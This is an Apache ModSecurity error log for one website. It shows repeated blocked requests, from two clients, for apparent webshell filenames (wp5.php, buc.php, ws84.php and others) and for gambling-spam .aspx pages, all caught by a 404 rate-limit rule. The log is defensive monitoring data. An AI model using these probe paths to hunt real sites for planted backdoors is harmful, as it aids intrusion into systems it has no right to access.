[Thu Mar 26 07:43:36.558705 2026] [:error] [pid 60829:tid 60854] [client 132.164.249.185:20651] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acRzKPTdjHKeZokybaQyVgAAARc"]
[Thu Mar 26 07:43:37.106603 2026] [:error] [pid 19711:tid 19761] [client 132.164.249.185:6127] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acRzKWj3l1y81GYfluRNUgAAAEw"]
[Thu Mar 26 07:43:38.295988 2026] [:error] [pid 19710:tid 19745] [client 132.164.249.185:20644] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acRzKgVEWP8Ar68Njk6tVwAAABc"]
[Thu Mar 26 07:43:38.801497 2026] [:error] [pid 19711:tid 19765] [client 132.164.249.185:20632] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acRzKmj3l1y81GYfluRNVQAAAFA"]
[Thu Mar 26 07:43:39.404120 2026] [:error] [pid 19818:tid 19838] [client 132.164.249.185:6089] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acRzK8zaSnm3d1BeM5WSsQAAANI"]
[Thu Mar 26 07:43:39.960499 2026] [:error] [pid 31780:tid 31823] [client 132.164.249.185:20641] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acRzK5JDwZsy5O4ZXEisSAAAAgM"]
[Thu Mar 26 07:43:40.519171 2026] [:error] [pid 19711:tid 19760] [client 132.164.249.185:6107] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acRzLGj3l1y81GYfluRNVgAAAEs"]
[Thu Mar 26 07:43:41.048904 2026] [:error] [pid 31670:tid 31693] [client 132.164.249.185:20676] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acRzLTXVthXxCnWjOTRCrwAAAVU"]
[Thu Mar 26 07:43:41.604938 2026] [:error] [pid 31778:tid 31808] [client 132.164.249.185:6087] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acRzLQ3kybI2o-xasmBEYAAAAc8"]
[Thu Mar 26 07:43:42.152947 2026] [:error] [pid 19818:tid 19837] [client 132.164.249.185:20678] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acRzLszaSnm3d1BeM5WSsgAAANE"]
[Thu Mar 26 07:43:42.748927 2026] [:error] [pid 60829:tid 60851] [client 132.164.249.185:6135] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acRzLvTdjHKeZokybaQyXQAAARQ"]
[Thu Mar 26 07:43:43.281421 2026] [:error] [pid 19818:tid 19828] [client 132.164.249.185:6085] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acRzL8zaSnm3d1BeM5WStAAAAMg"]
[Thu Mar 26 07:43:43.845805 2026] [:error] [pid 31780:tid 31844] [client 132.164.249.185:20664] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acRzL5JDwZsy5O4ZXEisUgAAAhc"]
[Thu Mar 26 07:43:44.404710 2026] [:error] [pid 60829:tid 60853] [client 132.164.249.185:20631] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acRzMPTdjHKeZokybaQyXgAAARY"]
[Thu Mar 26 07:43:44.982795 2026] [:error] [pid 60829:tid 60837] [client 132.164.249.185:20715] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acRzMPTdjHKeZokybaQyXwAAAQY"]
[Thu Mar 26 07:43:47.714596 2026] [:error] [pid 31670:tid 31679] [client 132.164.249.185:6040] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acRzMzXVthXxCnWjOTRCvAAAAUc"]
[Thu Mar 26 07:43:48.313947 2026] [:error] [pid 31670:tid 31689] [client 132.164.249.185:20630] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acRzNDXVthXxCnWjOTRCvwAAAVE"]
[Thu Mar 26 07:43:48.886663 2026] [:error] [pid 60829:tid 60833] [client 132.164.249.185:6111] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acRzNPTdjHKeZokybaQyZgAAAQI"]
[Thu Mar 26 07:43:49.443380 2026] [:error] [pid 19710:tid 19730] [client 132.164.249.185:20708] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acRzNQVEWP8Ar68Njk6tZgAAAAg"]
[Thu Mar 26 07:43:49.956568 2026] [:error] [pid 19712:tid 19789] [client 132.164.249.185:20643] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acRzNdWhKhRNqm23vFPhiAAAAI0"]
[Thu Mar 26 07:43:50.618628 2026] [:error] [pid 31780:tid 31832] [client 132.164.249.185:6113] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acRzNpJDwZsy5O4ZXEisWAAAAgs"]
[Thu Mar 26 07:43:51.136992 2026] [:error] [pid 31778:tid 31814] [client 132.164.249.185:6090] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acRzNw3kybI2o-xasmBEcwAAAdU"]
[Thu Mar 26 07:43:51.679809 2026] [:error] [pid 31778:tid 31809] [client 132.164.249.185:6109] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acRzNw3kybI2o-xasmBEdwAAAdA"]
[Thu Mar 26 07:43:52.224765 2026] [:error] [pid 31670:tid 31693] [client 132.164.249.185:6132] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acRzODXVthXxCnWjOTRCyQAAAVU"]
[Thu Mar 26 07:43:52.749397 2026] [:error] [pid 31670:tid 31682] [client 132.164.249.185:20661] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acRzODXVthXxCnWjOTRCywAAAUo"]
[Thu Mar 26 07:43:53.272729 2026] [:error] [pid 31670:tid 31692] [client 132.164.249.185:20734] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acRzOTXVthXxCnWjOTRC0AAAAVQ"]
[Thu Mar 26 07:43:53.918552 2026] [:error] [pid 31670:tid 31673] [client 132.164.249.185:20692] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acRzOTXVthXxCnWjOTRC1gAAAUE"]
[Thu Mar 26 07:43:54.482839 2026] [:error] [pid 31670:tid 31687] [client 132.164.249.185:6104] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acRzOjXVthXxCnWjOTRC2wAAAU8"]
[Thu Mar 26 07:43:55.020138 2026] [:error] [pid 31778:tid 31815] [client 132.164.249.185:20732] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acRzOw3kybI2o-xasmBEfAAAAdY"]
[Thu Mar 26 07:43:56.759094 2026] [:error] [pid 31780:tid 31822] [client 132.164.249.185:20637] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acRzPJJDwZsy5O4ZXEisWgAAAgI"]
[Thu Mar 26 07:43:57.312078 2026] [:error] [pid 60829:tid 60832] [client 132.164.249.185:20619] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acRzPfTdjHKeZokybaQyeAAAAQE"]
[Thu Mar 26 07:43:57.858491 2026] [:error] [pid 31778:tid 31809] [client 132.164.249.185:20640] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acRzPQ3kybI2o-xasmBEiQAAAdA"]
[Thu Mar 26 07:43:58.435529 2026] [:error] [pid 60829:tid 60835] [client 132.164.249.185:6036] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acRzPvTdjHKeZokybaQygwAAAQQ"]
[Thu Mar 26 07:44:00.039652 2026] [:error] [pid 60829:tid 60852] [client 132.164.249.185:20713] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acRzQPTdjHKeZokybaQyiAAAARU"]
[Thu Mar 26 07:44:00.619156 2026] [:error] [pid 19712:tid 19785] [client 132.164.249.185:6120] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acRzQNWhKhRNqm23vFPhjgAAAIk"]
[Thu Mar 26 07:44:01.126781 2026] [:error] [pid 60829:tid 60844] [client 132.164.249.185:6128] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "acRzQfTdjHKeZokybaQyjAAAAQ0"]
[Thu Mar 26 07:44:01.637709 2026] [:error] [pid 19712:tid 19799] [client 132.164.249.185:20658] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "acRzQdWhKhRNqm23vFPhlQAAAJc"]
[Thu Mar 26 07:44:02.166636 2026] [:error] [pid 60829:tid 60837] [client 132.164.249.185:6131] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "acRzQvTdjHKeZokybaQykQAAAQY"]
[Thu Mar 26 07:44:02.708630 2026] [:error] [pid 60829:tid 60848] [client 132.164.249.185:20657] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "acRzQvTdjHKeZokybaQykgAAARE"]
[Thu Mar 26 07:44:03.277797 2026] [:error] [pid 19818:tid 19829] [client 132.164.249.185:20674] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acRzQ8zaSnm3d1BeM5WSwgAAAMk"]
[Thu Mar 26 07:44:06.189960 2026] [:error] [pid 31778:tid 31814] [client 132.164.249.185:20628] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acRzRg3kybI2o-xasmBEnQAAAdU"]
[Thu Mar 26 07:54:16.113531 2026] [:error] [pid 31778:tid 31811] [client 54.37.252.119:38482] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acR1qA3kybI2o-xasmBIeAAAAdI"]
[Thu Mar 26 07:54:18.668486 2026] [:error] [pid 60829:tid 60833] [client 54.37.252.119:58554] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acR1qvTdjHKeZokybaQ0owAAAQI"]
[Thu Mar 26 07:54:21.089025 2026] [:error] [pid 31670:tid 31676] [client 54.37.252.119:58560] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acR1rTXVthXxCnWjOTRHSwAAAUQ"]
[Thu Mar 26 07:54:23.657641 2026] [:error] [pid 31778:tid 31795] [client 54.37.252.119:58564] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acR1rw3kybI2o-xasmBIhAAAAcI"]
[Thu Mar 26 07:54:26.252217 2026] [:error] [pid 31670:tid 31693] [client 54.37.252.119:58568] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acR1sjXVthXxCnWjOTRHUgAAAVU"]
[Thu Mar 26 07:54:28.818320 2026] [:error] [pid 31778:tid 31813] [client 54.37.252.119:35046] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acR1tA3kybI2o-xasmBIhwAAAdQ"]
[Thu Mar 26 07:54:31.276323 2026] [:error] [pid 31780:tid 31821] [client 54.37.252.119:35060] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acR1t5JDwZsy5O4ZXEiyvQAAAgE"]
[Thu Mar 26 07:54:33.692828 2026] [:error] [pid 31780:tid 31842] [client 54.37.252.119:35074] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acR1uZJDwZsy5O4ZXEiyxQAAAhU"]
[Thu Mar 26 07:54:36.221845 2026] [:error] [pid 31780:tid 31832] [client 54.37.252.119:35082] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acR1vJJDwZsy5O4ZXEiy0gAAAgs"]
[Thu Mar 26 07:54:38.689094 2026] [:error] [pid 19711:tid 19749] [client 54.37.252.119:36936] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acR1vmj3l1y81GYfluROTAAAAEA"]
[Thu Mar 26 07:54:41.108627 2026] [:error] [pid 31717:tid 31726] [client 54.37.252.119:36942] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acR1wb-SCF7YDISDX493zQAAAYQ"]
[Thu Mar 26 07:54:43.469757 2026] [:error] [pid 31717:tid 31742] [client 54.37.252.119:36944] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acR1w7-SCF7YDISDX4930AAAAZQ"]
[Thu Mar 26 07:54:45.889773 2026] [:error] [pid 31778:tid 31793] [client 54.37.252.119:36958] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acR1xQ3kybI2o-xasmBIkQAAAcA"]
[Thu Mar 26 07:54:48.424788 2026] [:error] [pid 31780:tid 31840] [client 54.37.252.119:35708] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acR1yJJDwZsy5O4ZXEiy9QAAAhM"]
[Thu Mar 26 07:54:51.032570 2026] [:error] [pid 60829:tid 60843] [client 54.37.252.119:35710] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acR1y_TdjHKeZokybaQ08wAAAQw"]
